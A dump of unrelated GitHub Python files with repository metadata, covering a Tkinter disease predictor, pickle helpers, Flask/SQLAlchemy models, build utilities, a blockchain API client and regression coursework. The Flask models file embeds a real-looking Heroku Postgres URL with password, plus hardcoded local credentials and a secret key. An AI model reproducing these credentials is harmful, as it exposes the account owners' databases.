'Yes - Bị bệnh')\r\n else:\r\n lbl1_id3pca.configure(text= 'No - Không bị bệnh')\r\n\r\n# Button\r\nbutton_id3_pca = Button(form ,font=(\"Arial Bold\", 10), text = 'Kết quả dự đoán theo ID3_PCA', command = dudoanID3_PCA, background=\"#04AA6D\", foreground=\"white\")\r\nbutton_id3_pca.place(x = 930 , y = 670)\r\nlbl1_id3pca = Label(form, text=\"\",font=(\"Arial Bold\", 10),fg=\"blue\",bg=\"#FEF2D1\")\r\nlbl1_id3pca.place(x = 930 , y = 700)\r\n\r\nform.mainloop()\r\n","repo_name":"dacsonn/benhtim__machine","sub_path":"BTL_cuoiky.py","file_name":"BTL_cuoiky.py","file_ext":"py","file_size_in_byte":15009,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11316542802","text":"import json\r\nimport glob\r\n\r\ndef load_dataset(path):\r\n input_txt= glob.glob(path+'/*.txt')\r\n\r\n dataset= []\r\n\r\n for i in range(len(input_txt)):\r\n document_id= (input_txt[i][len(path)+9:-4]) \r\n\r\n dataset.append([])\r\n\r\n with open(input_txt[i], encoding=\"utf8\") as file:\r\n dataset[-1].append(file.read())\r\n \r\n dataset[-1].append(document_id)\r\n\r\n return dataset\r\n","repo_name":"aarish407/style-change-detection","sub_path":"LoadDataset.py","file_name":"LoadDataset.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1040498102","text":"import pickle\n\ndef load(file_name):\n \"\"\"\n This function will load a file (variable, classe object, etc) in pickle\n format in to its python orinal variable format.\\n\n **Parameters**:\\n\n file_name: string type, containg the name of the file to load.\\n\n directory_path= is the adreess of the folder where the desired file is\n located.\n **Returns**\\n\n\n Variable: could be an python variable, class object, list, ndarray\n contained in the binary file. \\n\n\n **Example** \\n\n import high_order_decomposition_method_functions as hf \\n\n\n FF=hf.load('example_file')\n\n \"\"\"\n\n if type(file_name) != str:\n file_name_error=\"\"\"\n The parameter file_name must be a string type variable\n \"\"\"\n raise TypeError(file_name_error)\n file_in=open(file_name,'rb')\n Object=pickle.load(file_in)\n file_in.close()\n return Object\n#-----------------------------------------------------------------------------\ndef save(variable, file_name):\n \"\"\"\n This function will save a python variable (list, ndarray, classe\n object, etc) in a pickle file format .\\n\n **Parameters**:\\n\n Variable= list, ndarray, class object etc.\\n\n file_name= String type. Name of the file that is going to be\n storage. \\n\n directory_path=string type. Is the directory adress if the file\n is going to be saved in a desired folder.\n **Returns**:\\n\n File= Binary file that will reproduce the object class when\n reloaded. \\n\n **Example**\\n\n import high_order_decomposition_method_functions as hf\n\n hf.save(F,'example_file') \\n\n\n Binary file saved as'example_file'\n \"\"\"\n if type(file_name)!=str:\n raise ValueError('Variable file_name must be a string')\n pickle_out=open(file_name,\"wb\")\n pickle.dump(variable, pickle_out)\n pickle_out.close()\n print('Binary file saved as'+\"'\"+file_name+\"'\")\n\ndef read(file):\n return np.loadtxt(file,delimiter=\",\",dtype=float)\n","repo_name":"llestandi/pydecomp","sub_path":"pydecomp/utils/IO.py","file_name":"IO.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71868712717","text":"import pandas as pd\nimport numpy as np\ndata_full = pd.read_csv(\"FinalData.csv\")\n\n#plot with Masking\nimport matplotlib.pyplot as plt\n#categorize ages\n\nnew_feature = (data_full['age'])\n#declare variable age\nage = 0\n\n\ndef age_category(new_feature):\n if age <19: return 'minor'\n if age <55: return 'adult'\n if age <99: return 'senior'\n return 'none'\n\nvector_age_category = np.vectorize(age_category)\ndata_full['age class'] = vector_age_category(data_full['age'])\ndata_full['age class'].value_counts()\n\n#the following is an array of true/false\nDOT_true = data_full[\"HELM_USE\"] == 1\n#DOT_false = data_full[\"HELM_USE\"] == 0\n\n\n#only keep the true instances\ndata_adults = data_full[DOT_true]\ndata_children = data_full[DOT_true]\ndata_senior = data_full[DOT_true]","repo_name":"jcreech72/CreechCapstone","sub_path":"data_manipulation.py","file_name":"data_manipulation.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"34951124903","text":"import os\nimport psycopg2\n\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\n# DATABASE_URL = os.environ['DATABASE_URL']\n\n# conn = psycopg2.connect(DATABASE_URL, sslmode='require')\napp = Flask(__name__)\n\napp.config['SECRET_KEY'] = 'mysecretkey'\nbasedir = os.path.abspath(os.path.dirname(__file__))\n# Heroku database\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'postgres://dxpaploifbkaro:01cff4e4f0f77751bc2044db6d939dbf90f2dec6b61e0b3e6404928a4feb69a4@ec2-54-243-240-104.compute-1.amazonaws.com:5432/d24al1m741r689'\n# Local database\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgres://shravya:shravya123@localhost/shravya'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\n# database for storing words\n\n\nclass Words(db.Model):\n\n __tablename__ = 'words'\n\n word = db.Column(db.String(20), primary_key=True)\n recording = db.Column(db.String(200))\n date = db.Column(db.DateTime, default=datetime.utcnow)\n recorder = db.Column(db.String(45))\n\n def __init__(self, word):\n self.word = word\n\n# database for storing original and parsed shlokas\n\n\nclass Shlokas(db.Model):\n\n __tablename__ = 'shlokas'\n\n # Format for shloka id [##(Two character scripture code)##(chapter number)###(Verse number)]\n shloka_id = db.Column(db.String(7), primary_key=True)\n scripture = db.Column(db.String(45))\n chapter = db.Column(db.Integer, default=0)\n verse = db.Column(db.Integer)\n org_shloka = db.Column(db.String(200))\n parsed_shloka = db.Column(db.String(200))\n\n def __init__(self, shloka_id, scripture, chapter, verse, org_shloka, parswd_shloka):\n self.shloka_id = shloka_id\n self.scripture = scripture\n self.chapter = chapter\n self.verse = verse\n self.org_shloka = org_shloka\n self.parsed_shloka = parsed_shloka\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'shloka_id': self.shloka_id,\n 'scripture': self.scripture,\n 'chapter': self.chapter,\n 'verse': self.verse,\n 'org_shloka': self.org_shloka,\n 'parsed_shloka': self.parsed_shloka\n }\n\n def __repr__(self):\n return \"shloka_id: {}\\n scripture: {}\\n chapter: {}\\n verse: {}\\n org_shloka: {}\\n parsed_shloka: {}\\n\".format(self.shloka_id, self.scripture, self.chapter, self.verse, self.org_shloka, self.parsed_shloka)\n","repo_name":"apoorva-19/Shravya_App_Backend","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37606394240","text":"# import json\nimport shutil\nimport subprocess\nimport platform\nimport sys\nimport os\n\nLINUX_ROOT = ''\nif 'microsoft-standard' in platform.uname(\n).release: # check if it's windows subsystem for linux\n LINUX_ROOT = '/mnt'\n\nLINEAR_PROCESS = 0\nMULTI_THREAD = 1\nMULTI_PROCESS = 2\n\n\nclass PybythecError(Exception):\n def __init__(self, msg):\n super(PybythecError, self).__init__(msg)\n\n\nclass Logger:\n def __init__(self, name = None, debug = False, filepath = None):\n self.name = name\n if self.name:\n self.name += ': '\n else:\n self.name = ''\n self._debug = debug\n self.wf = sys.stdout\n if filepath:\n self.toFile = True\n self.wf = open(filepath, 'w')\n else:\n self.toFile = False\n\n def __del__(self):\n if self.toFile:\n self.wf.close()\n\n def debug(self, s):\n if self._debug:\n self.wf.write(f'debug: {self.name}{s}\\n')\n self.wf.flush()\n\n def info(self, s):\n self.wf.write(f'{self.name}{s}\\n')\n self.wf.flush()\n\n def warning(self, s):\n self.wf.write(f'warning: {self.name}{s}\\n')\n self.wf.flush()\n\n def error(self, s):\n if self.toFile:\n self.wf.write(f'error: {self.name}{s}\\n')\n self.wf.flush()\n else:\n sys.stderr.write(f'error: {self.name}{s}\\n')\n sys.stderr.flush()\n\n def raw(self, s):\n sys.stdout.write(s)\n\n # shorthands\n def d(self, s):\n self.debug(s)\n\n def i(self, s):\n self.info(s)\n\n def w(self, s):\n self.warning(s)\n\n def e(self, s):\n self.error(s)\n\n def r(self, s):\n self.raw(s)\n\n\nlog = Logger() # singleton\n\n\ndef srcNewer(srcPath, dstPath):\n if int(os.stat(srcPath).st_mtime) > int(os.stat(dstPath).st_mtime):\n return True\n return False\n\n\ndef checkTimestamps(incPaths, src, timestamp):\n '''\n finds the newest timestamp of everything upstream of the src file, including the src file\n '''\n srcPath = getShellPath(src)\n if not os.path.exists(srcPath):\n log.warning(f'checkTimestamps: {srcPath} doesn\\'t exist')\n return\n\n srcTimeStamp = float(os.stat(srcPath).st_mtime)\n if srcTimeStamp > timestamp[0]:\n timestamp[0] = srcTimeStamp\n\n fileCopy = str()\n srcFile = open(srcPath, 'r')\n for line in srcFile:\n fileCopy += line\n srcFile.close()\n\n for line in fileCopy.split('\\n'):\n if line.startswith('#include'):\n filename = line.lstrip('#include')\n filename = filename.strip()\n if (filename[0] == '\"'):\n filename = filename.strip('\"')\n for dir in incPaths:\n filepath = f'{dir}/{filename}'\n if os.path.exists(filepath):\n checkTimestamps(incPaths, filepath, timestamp)\n\n\ndef sourceNeedsBuilding(incPaths, src, objTimestamp):\n '''\n determines whether a source file needs to be built or not\n '''\n timestamp = [0] # [] so it's passed as a reference\n checkTimestamps(incPaths, src, timestamp)\n\n if timestamp[0] > objTimestamp:\n return True\n\n return False\n\n\ndef getLibPath(libName, libPath, compiler, libExt):\n '''\n get the lib path with the os / compiler specific prefix and file extension\n '''\n libPath += '/'\n if compiler.startswith('gcc') or compiler.startswith('clang'):\n libPath += 'lib'\n libPath += libName + libExt\n return libPath\n\n\ndef isWindowsPath(path):\n '''\n path: assume it's an absolute path ie C:/hi\n '''\n if len(path) < 3:\n return False\n if path[0].isalpha() and path[1] == ':' and (path[2] == '/'\n or path[2] == '\\\\'):\n return True\n return False\n\n\ndef windowsToLinux(p):\n '''\n '''\n np = p.replace('\\\\', '/')\n driveLetter = np[0].lower()\n return f'{LINUX_ROOT}/{driveLetter}{np[2:]}'\n\n\ndef linuxToWindows(p):\n '''\n '''\n np = p[len(LINUX_ROOT) + 1:]\n return np[0].upper() + ':' + np[1:]\n\n\ndef getShellPath(path):\n '''\n path: assume absolute path\n returns the usable path for the current shell\n '''\n if not isWindowsPath(path):\n return path\n if platform.system() == 'Linux' or platform.system() == 'Darwin':\n return windowsToLinux(path)\n return path\n\n\ndef pathExists(path):\n '''\n '''\n return os.path.exists(getShellPath(path))\n\n\ndef getPath(path, osType):\n '''\n gets the path based on the requested os type ie windows, linux\n '''\n isWin = isWindowsPath(path)\n if osType == 'windows':\n if isWin:\n return path\n return linuxToWindows(path)\n # otherwise linux\n if isWin:\n return windowsToLinux(path)\n return path\n\n\ndef getShellOsType():\n '''\n '''\n if platform.system() == 'Linux':\n return 'linux'\n elif platform.system() == 'Darwin':\n return 'macOs'\n elif platform.system() == 'Windows':\n return 'windows'\n else:\n raise PybythecError('os needs to be linux, macOs or windows')\n\n\ndef _getAbsPath(cwDir, path):\n '''\n '''\n _cwDir = cwDir.replace('\\\\', '/')\n if not _cwDir.endswith('/'):\n _cwDir += '/'\n _path = path.replace('\\\\', '/')\n if len(path) < 2:\n if path[0] == '.':\n return _cwDir.rstrip('/')\n if _path[0] == '.' and path[1].isalpha(): # ie .pybythec\n return _cwDir + _path\n return os.path.normpath(os.path.join(cwDir, './' + path)).replace('\\\\', '/')\n # TODO: handle the case when it's ./.pybythec\n # return _cwDir + _path.lstrip('./\\\\')\n\n\ndef getAbsPath(cwDir, path):\n '''\n cwDir: current working dir path\n path: may be relative or absolute\n returns absolute path\n '''\n if isWindowsPath(path):\n return path.replace('\\\\', '/')\n if os.path.isabs(path):\n return path\n return _getAbsPath(cwDir, path)\n\n\ndef resolvePaths(cwDir, paths, osType):\n '''\n '''\n i = 0\n for path in paths:\n p = getAbsPath(cwDir, path)\n paths[i] = getPath(p, osType)\n i += 1\n\n\ndef createDirs(path):\n '''\n recursively goes up the path heiarchy creating the necessary directories along the way\n similar to os.makedirs except doesn't throw an exception if a directory's already exists\n also os.makedirs throws the same exception whether the directory already exists or it couldn't create it, not ideal\n '''\n if path is None or not len(path):\n log.warning('createDirs: empty path')\n return\n\n # in case path ends with a '/'\n path = path.rstrip('/')\n\n if os.path.exists(path):\n return\n\n # if the path above the current one doesn't exist, create it\n abovePath = os.path.dirname(path)\n if not os.path.exists(abovePath):\n createDirs(abovePath)\n\n try:\n os.mkdir(path)\n except Exception: # OSError:\n # log.warning('failed to make {0} because {1}', path, e)\n pass\n\n\ndef copyfile(srcPath, dstDir):\n '''\n copies srcPath to dstPath, creating the directory structure if necessary for the destination\n srcPath: absolute file path\n dstDir: absolute directory path\n '''\n\n if not os.path.exists(srcPath):\n return False\n\n dstPath = f'{dstDir}/{os.path.basename(srcPath)}'\n\n if os.path.exists(dstPath):\n if not srcNewer(srcPath, dstPath):\n return\n\n # in case the path doesn't already exist\n createDirs(dstDir)\n\n shutil.copy2(srcPath, dstDir)\n\n log.debug(f'{srcPath} copied to {dstPath}')\n\n return True\n\n\n# def loadJsonFile(jsonPath):\n# '''\n# load a json config file\n# NOTE: no check for existence of the path so that logging warnings can be controlled elsewhere\n# '''\n# if os.path.splitext(jsonPath)[1] != '.json':\n# # raise PybythecError(f'{jsonPath} is not a json file')\n# return None\n# if not os.path.exists(jsonPath):\n# raise PybythecError(f'{jsonPath} doesn\\'t exist')\n# try:\n# with open(jsonPath) as f:\n# return json.loads(removeComments(f))\n# except Exception as e:\n# raise PybythecError(f'failed to parse {jsonPath}: {e}')\n\n# def removeComments(f):\n# '''\n# removes // style comments from a file, num of lines stays the same\n# '''\n# sansComments = ''\n# inQuotes = False\n# for l in f:\n# i = 0\n# for c in l:\n# if c == '\"':\n# inQuotes = not inQuotes\n# elif c == '/' and l[i + 1] == '/' and not inQuotes:\n# sansComments += '\\n'\n# break\n# i += 1\n# sansComments += c\n# return sansComments\n\n\ndef runCmd(cmd):\n '''\n runs a command and blocks until it's done, returns the output\n '''\n try:\n p = subprocess.Popen(cmd,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE)\n except subprocess.CalledProcessError as e:\n return f'cmd failed: {\" \".join(cmd)} because: {e.output}'\n except Exception:\n return f'cmd failed: {\" \".join(cmd)}'\n stdout, stderr = p.communicate()\n output = ''\n if len(stderr):\n output += stderr.decode('utf-8')\n if len(stdout):\n output += stdout.decode('utf-8')\n return output\n\n\n# testing\nif __name__ == '__main__':\n\n print(\n getAbsPath(\n 'C:\\\\Users\\\\tom\\\\work_offline\\\\repos\\\\pybythec/example/shared/src\\\\DynamicLib',\n '../../include'))\n","repo_name":"glowtree/pybythec","sub_path":"pybythec/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70042500880","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\ndef get_node_text(node):\n \"\"\"\n Return the text content of an xml.dom Element Node.\n\n If node does not have content, this function return an empty string.\n \"\"\"\n text = ''\n\n node.normalize()\n if node.firstChild and node.firstChild.data:\n text = node.firstChild.data.strip()\n\n return text\n\n\ndef get_urlpath_part(urlpath):\n \"\"\"\n Return a path without url fragment (something like `#frag` at the end).\n\n This function allow to use path from references and NCX file to read\n item from Manifest with a correct href (without losing the fragment part).\n\n eg.:\n\n url = 'text/chapter1.xhtml#part2'\n href, fragment = get_urlpath_part(url)\n print href # 'text/chapter1.xhtml'\n print fragment # '#part2'\n \"\"\"\n href = urlpath\n fragment = None\n if urlpath.count('#'):\n href, fragment = urlpath.split('#')\n return (href, fragment)\n","repo_name":"cvpe/Pythonista-scripts","sub_path":"Gists/epub/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"29"} +{"seq_id":"38781964593","text":"#!/usr/bin/python3\n\"\"\"\nStarts a Flask web application.\nThe application listens on 0.0.0.0, port 5000.\n\"\"\"\nfrom models import storage\nfrom models.state import State\nfrom flask import Flask, render_template\n\n\n\napp = Flask(__name__)\n\n@app.teardown_appcontext\ndef teardown_db(exception=None):\n storage.close()\n\n\n@app.route('/cities_by_states', strict_slashes=False)\ndef cities_by_states():\n return render_template('8-cities_by_states.html', states = storage.all(State))\n\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)","repo_name":"AlexM4rcelli/holbertonschool-AirBnB_clone_v2","sub_path":"web_flask/8-cities_by_states.py","file_name":"8-cities_by_states.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"6696174518","text":"import sys\ninput = sys.stdin.readline\nfrom itertools import permutations\n\nN = int(input())\nA = list(map(int,input().split()))\np = permutations(A)\nans = []\nfor nums in p:\n sum_nums = 0\n for i in range(0,len(nums)-1):\n sum_nums += abs(nums[i]-nums[i+1])\n ans.append(sum_nums)\n\nprint(max(ans))","repo_name":"chaselover/practiceAlgorithm","sub_path":"10819차이를최대로.py","file_name":"10819차이를최대로.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"14578945138","text":"a = 0\nb = 1\ncount = 0\nmax_count = 20\nwhile count < max_count:\n count = count + 1\n old_a = a\n print(old_a)\n a = b;\n b = old_a + b\nprint('end')\n","repo_name":"SilentWraith101/course-work","sub_path":"lesson 03/finding what this program does.py","file_name":"finding what this program does.py","file_ext":"py","file_size_in_byte":157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20255684494","text":"from typing import Optional\n\nimport requests\n\nfrom .models import (\n CallParameters,\n CallResponse,\n EstimateGasResponse,\n GetCodeParameters,\n GetCodeResponse,\n GetStorageAtParameters,\n GetStorageAtResponse,\n SmartContractCall\n)\n\nfrom .endpoints.smart_contract import (\n call_,\n estimateGas,\n getCode,\n getStorageAt \n)\n\ndef call(api_url : str, to_address : str, block_number : int, from_address : Optional[str] = None, gas : Optional[int] = None, gas_price : Optional[int] = None, value : Optional[int] = None, data : Optional[str] = None, session : Optional[requests.Session] = None) -> CallResponse:\n \"\"\"\n Executes a smart contract code without saving state\n \n Parameters\n ----------\n api_url : str\n to_address : str\n The desitination wallet\n block_number: int\n from_address : str, optional\n The source address\n gas : int, optional\n Gas to execute the call\n gas_price : int, optional\n Gase price to execute the call\n value : int, optional\n Value sent with the smart contract\n data : str, optional\n Hash of smart contract method and parameters\n session: requests.Session, optional\n\n Returns\n -------\n result : str\n The return value of the smart contract\n \"\"\"\n sc = SmartContractCall(to=to_address, from_=from_address, gas=gas, gas_price=gas_price, value=value, data=data)\n params = CallParameters(smart_contract_call=sc, block_number=block_number)\n return call_(api_url, params, session)\n\ndef estimate_gas(api_url : str, to_address : str, block_number : int, from_address : Optional[str] = None, gas : Optional[int] = None, gas_price : Optional[int] = None, value : Optional[int] = None, data : Optional[str] = None, session : Optional[requests.Session] = None) -> EstimateGasResponse:\n \"\"\"\n Executes a smart contract transction without creating a transaction and saving data\n \n Parameters\n ----------\n api_url : str\n to_address : str\n The desitination wallet\n block_number: int\n from_address : str, optional\n The source address\n gas : int, optional\n Gas to execute the call\n gas_price : int, optional\n Gase price to execute the call\n value : int, optional\n Value sent with the smart contract\n data : str, optional\n Hash of smart contract method and parameters\n session: requests.Session, optional\n\n Returns\n -------\n result : str\n Hex of the esimtated gas price\n \"\"\"\n sc = SmartContractCall(to=to_address, from_=from_address, gas=gas, gas_price=gas_price, value=value, data=data)\n params = CallParameters(smart_contract_call=sc, block_number=block_number)\n return estimateGas(api_url, params, session)\n\ndef get_code(api_url : str, address : str, block : Optional[str] = \"latest\", callback : Optional[str] = None, session : Optional[requests.Session] = None) -> GetCodeResponse:\n \"\"\"\n Get the code at a specific address.\n\n Parameters\n ----------\n api_url : str\n address: str\n The address to get the code from\n block: str, optional\n The block to query for information, defaults to 'latest'\n callback: str, optional\n Optional callback, returns an error object as first parameter and the result as second\n session: requests.Session, optional\n\n Returns\n -------\n result : str\n The data at the give address\n \"\"\"\n params = GetCodeParameters(address=address, block=block, callback=callback)\n return getCode(api_url, params, session)\n\ndef get_storage_at(api_url : str, address : str, storage_location : str, block_number : int, session : Optional[requests.Session] = None) -> GetStorageAtResponse:\n \"\"\"\n Returns the value from a storage position at a given address.\n\n Parameters\n ----------\n api_url : str\n address : str\n The address of the storage\n storage_location : str\n Hex representation of the storage location\n block_number : int\n The block number\n session : requests.Session, optional\n\n Returns\n -------\n result : str\n The value stored at the smart contract location\n \"\"\"\n params = GetStorageAtParameters(address=address, storage_location=storage_location, block_number=block_number)\n return getStorageAt(api_url, params, session)","repo_name":"blockjoe/harmony-api-client-python","sub_path":"harmony/smart_contract.py","file_name":"smart_contract.py","file_ext":"py","file_size_in_byte":4341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"5267601678","text":"import torch.nn as nn\n\nclass Options(nn.Module):\n def __init__(self, pyramid_levels=7, fusion_pyramid_levels=5, specialized_levels=3, flow_convs=[3, 3, 3, 3], fusion_in_channels=[32, 64, 128, 256, 512], flow_filters=[32, 64, 128, 256], sub_levels=4, filters=64, use_aux_outputs=True):\n super(Options, self).__init__()\n self.pyramid_levels = pyramid_levels\n self.fusion_pyramid_levels = fusion_pyramid_levels\n self.specialized_levels = specialized_levels\n self.flow_convs = flow_convs #or [4, 4, 4, 4]\n self.flow_filters = flow_filters #or [64, 128, 256, 256]\n self.sub_levels = sub_levels\n self.filters = filters\n self.use_aux_outputs = use_aux_outputs\n self.fusion_in_channels = fusion_in_channels\n\n","repo_name":"soonwonh/FILM-pytorch","sub_path":"models/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"29"} +{"seq_id":"11322269741","text":"import pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\n#fucntion to read data in pandas dataframe\n\n\ndef read_data(data_file,regression_values_file):\n df_data=pd.read_csv(data_file, sep=',',header=None)\n df_regression_values=pd.read_csv(regression_values_file, sep=',',header=None)\n return df_data,df_regression_values\n\n\n#function to fetch the shape of data and the labels\ndef get_shape(dataframe_data,dataframe_values):\n return dataframe_data.shape,dataframe_values.shape\n\n#function to convert pandas dataframe to numpy arrays\ndef convert_df_to_numpy(dataframe_data,dataframe_values):\n return dataframe_data.values,dataframe_values.values\n\n\n\n#generates identity matrix based on the number of features present in the data\ndef identity_matrix_generator(number_of_features):\n return np.identity(number_of_features)\n\n#fucntion to learn w\ndef learn_w(lambda_value,identity_matrix,data_in_npy_format,labels_in_npy_format):\n product_of_lambda_identity=np.multiply(lambda_value,identity_matrix)\n product_covariance=np.dot(np.transpose(data_in_npy_format),data_in_npy_format)\n sum_of_lambda_identity_product_covariance=np.add(product_of_lambda_identity,product_covariance)\n inverse_of_sum=np.linalg.inv(sum_of_lambda_identity_product_covariance)\n product_of_data_and_label=np.dot(np.transpose(data_in_npy_format),labels_in_npy_format)\n product_of_inverse_and_phi_T_t=np.dot(inverse_of_sum,product_of_data_and_label)\n return product_of_inverse_and_phi_T_t\n \n\n\n\n#fucntion to multiply w with data in order to predict labels\ndef predict_label(w,data_in_npy_format):\n predicted_labels=np.dot(data_in_npy_format,w)\n return predicted_labels\n\n#fucntion used to calculate mean squared error\ndef mse_calculator(actual_labels,predicted_labels):\n difference_in_prediction=np.subtract(predicted_labels,actual_labels)\n squared_difference_in_prediction=np.square(difference_in_prediction)\n sum_squared_difference_in_prediction=np.sum(squared_difference_in_prediction)\n return (sum_squared_difference_in_prediction/actual_labels.shape[0])\n\n##df_data,df_regression_values=read_data(\"train-100-10.csv\",\"trainR-100-10.csv\")\n##npy_data,npy_labels=convert_df_to_numpy(df_data,df_regression_values)\n##w=learn_w(150,10,npy_data,npy_labels)\n##predicted=predict_label(w,npy_data)\n##mse=mse_calculator(npy_labels,predicted)\ndef mse_vs_lambda_plotter(train_mse,test_mse,lambda_values):\n plt.title(\"MSE vs lambda\") \n plt.xlabel(\"lambda\") \n plt.ylabel(\"Mean-squared error\") \n plt.plot(lambda_values,train_mse,color='olive',label='train-mse')\n plt.plot(lambda_values,test_mse,color='blue',label=\"test-mse\")\n plt.legend()\n plt.show()\n\ndef task_1(train_data_file,train_regression_values_file,test_data_file,test_regression_values_file):\n #reading train and test data into dataframes\n train_df_data,train_df_regression_values=read_data(train_data_file,train_regression_values_file)\n test_df_data,test_df_regression_values=read_data(test_data_file,test_regression_values_file)\n #converting dataframes to numpy arrays\n train_npy_data,train_npy_labels=convert_df_to_numpy(train_df_data,train_df_regression_values)\n test_npy_data,test_npy_labels=convert_df_to_numpy(test_df_data,test_df_regression_values)\n mse_for_train=[]\n mse_for_test=[]\n lambda_values=[]\n i_matrix=identity_matrix_generator(train_npy_data.shape[1])\n for lambda_value in range(1,150):\n #learning w\n\n lambda_values.append(lambda_value)\n w=learn_w(lambda_value,i_matrix,train_npy_data,train_npy_labels)\n #predicted labels\n train_predicted=predict_label(w,train_npy_data)\n test_predicted=predict_label(w,test_npy_data)\n mse_train_temp=mse_calculator(train_npy_labels,train_predicted)\n mse_test_temp=mse_calculator(test_npy_labels,test_predicted)\n mse_for_train.append(mse_train_temp)\n mse_for_test.append(mse_test_temp)\n \n\n \n mse_vs_lambda_plotter(mse_for_train,mse_for_test,lambda_values)\nwhile(1):\n print(\"\\n\",\"1. 100-10\",\"\\n\",\"2. 100-100\",\"\\n\",\"3. 1000-100\",\"\\n\",\"4. crime\",\"\\n\",\"5. wine\",\"\\n\",\"6. challenge dataset\",\"\\n\")\n i=int(input(\"Choose the number corresponding to the dataset you want to perform task-1 on:\"))\n if i==1:\n task_1(\"train-100-10.csv\",\"trainR-100-10.csv\",\"test-100-10.csv\",\"testR-100-10.csv\")\n elif i==2:\n task_1(\"train-100-100.csv\",\"trainR-100-100.csv\",\"test-100-100.csv\",\"testR-100-100.csv\")\n elif i==3:\n task_1(\"train-1000-100.csv\",\"trainR-1000-100.csv\",\"test-1000-100.csv\",\"testR-1000-100.csv\")\n elif i==4:\n task_1(\"train-crime.csv\",\"trainR-crime.csv\",\"test-crime.csv\",\"testR-crime.csv\")\n elif i==5:\n task_1(\"train-wine.csv\",\"trainR-wine.csv\",\"test-wine.csv\",\"testR-wine.csv\")\n elif i==6:\n train=input(\"Enter train dataset filename:\")\n trainR=input(\"Enter train regression values dataset filename:\")\n test=input(\"Enter test dataset filename:\")\n testR=input(\"Enter test regression values dataset filename:\")\n task_1(train,trainR,test,testR)\n else:\n print(\"INVALID OPTION\")\n\n \n \n \n \n \n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n \n \n \n \n \n\n\n \n","repo_name":"prashusat/Bayesian-Linear-Regression","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70590212237","text":"import expressions as e\nimport re\nfrom config import modules as module_description\nimport hashlib\n\n\nclass Param:\n def __init__(self, param):\n self.paramtype, self.name, self.type, self.rest = param\n self.required = False\n if \"required\" in self.rest.lower() and \"not required\" not in self.rest.lower():\n self.required = True\n self.rest = self.rest.replace(\"required\", \"\")\n self.rest = self.rest.replace(\"not required\", \"\")\n\n\nclass Example:\n def __init__(self, example):\n example_type, example_code = example\n self.type = example_type\n self.code = example_code\n\n def getcode(self):\n return self.code.encode(\"latin-1\", errors='replace')\n\n\nclass Docblock:\n def __init__(self, block=\"\"):\n self.file = \"\"\n self.module = \"\"\n self.route = \"\"\n self.method = \"\"\n self.group = \"\"\n self.examples = []\n self.params = []\n self.description = \"\"\n self.filename = \"\"\n self.returns = \"\"\n self.block = block\n self.working = True\n self.deprecated = False\n self.non_working = \"\"\n\n self.is_api_doc = False\n self.is_api_doc = self.parse()\n\n def parse(self):\n \"\"\"\n parses dockblock and returns true if it's rest API dockblock\n false if it's not\n \"\"\"\n\n if \"@method\" not in self.block or \"@route\" not in self.block:\n return False\n\n self.block = self.cleanup_docblock()\n\n self.route = self._get_route()\n self.method = self._get_method()\n self.group = self._get_group()\n self.returns = self._get_returns()\n self.params = self._get_params()\n self.non_working = self._get_non_working()\n\n self.examples = self._get_examples()\n\n # rest is considered to be as description\n self.description = self.block.strip()\n\n return True\n\n def uniq(self):\n return hashlib.sha224(self.method+self.route+self.getgroup()).hexdigest()\n\n def is_danger(self):\n if not self.working or self.deprecated:\n return \"danger\"\n return \"\"\n\n def cleanup_docblock(self):\n docblock = e.cleanup.sub(r\"\\1\", self.block)\n docblock = re.sub(r\"^ \", \"\", docblock, 0, re.M)\n return docblock[3:-2]\n\n def getgroup(self):\n if self.group != \"\":\n return self.group.lower()\n return self.module.lower()\n\n def get_module_desc(self):\n if self.getgroup() in module_description.keys():\n return module_description[self.getgroup()]\n return \"\"\n\n def _get_route(self):\n finds = e.route.findall(self.block)\n if len(finds) > 0:\n self.remove_code_block(e.route)\n return finds[0]\n return \"\"\n\n def _get_method(self):\n finds = e.method.findall(self.block)\n if len(finds) > 0:\n self.remove_code_block(e.method)\n return finds[0]\n return [0]\n\n def _get_group(self):\n finds = e.ingroup.findall(self.block)\n if len(finds) > 0:\n 